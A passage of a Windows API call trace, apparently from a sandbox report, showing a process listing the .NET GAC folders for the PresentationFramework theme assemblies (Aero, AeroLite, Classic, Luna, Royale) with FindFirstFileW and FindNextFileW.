	[0088.674] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9479f700, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9479f700, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.674] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e722ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e722ce0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.674] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.674] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.674] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.aero\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.674] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e722ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e722ce0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.674] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e722ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e722ce0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.674] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e748e40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3cd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.674] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.674] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.675] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.AeroLite" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.aerolite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.675] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.AeroLite\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5e7bb260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e7bb260, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.675] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.675] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.AeroLite\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.aerolite\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.675] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.AeroLite\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5e7bb260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e7bb260, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5e7bb260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e7bb260, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.676] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e7bb260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b998, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.AeroLite.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.676] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.676] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.676] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Classic" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.classic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.676] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947c5860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947c5860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.676] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947c5860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947c5860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.676] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e807520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e807520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.676] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.676] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.677] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.classic\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.677] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e807520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e807520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.677] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e807520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e807520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.677] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e807520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.677] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.677] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.677] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Luna" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.luna"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.677] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948aa0a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948aa0a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948aa0a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.677] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948aa0a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948aa0a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948aa0a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.677] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94883f40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e879940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e879940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.678] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.678] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.678] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.luna\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.678] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94883f40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e879940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e879940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.678] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94883f40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e879940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e879940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.678] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e879940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x76788, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.678] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.678] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.678] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Royale" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.royale"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.679] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948f6360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948f6360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.679] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948f6360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948f6360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.679] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e8c5c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e8c5c00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.679] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.679] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.679] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.royale\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.679] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e8c5c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e8c5c00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.679] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e8c5c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e8c5c00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.679] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e8c5c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x33190, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
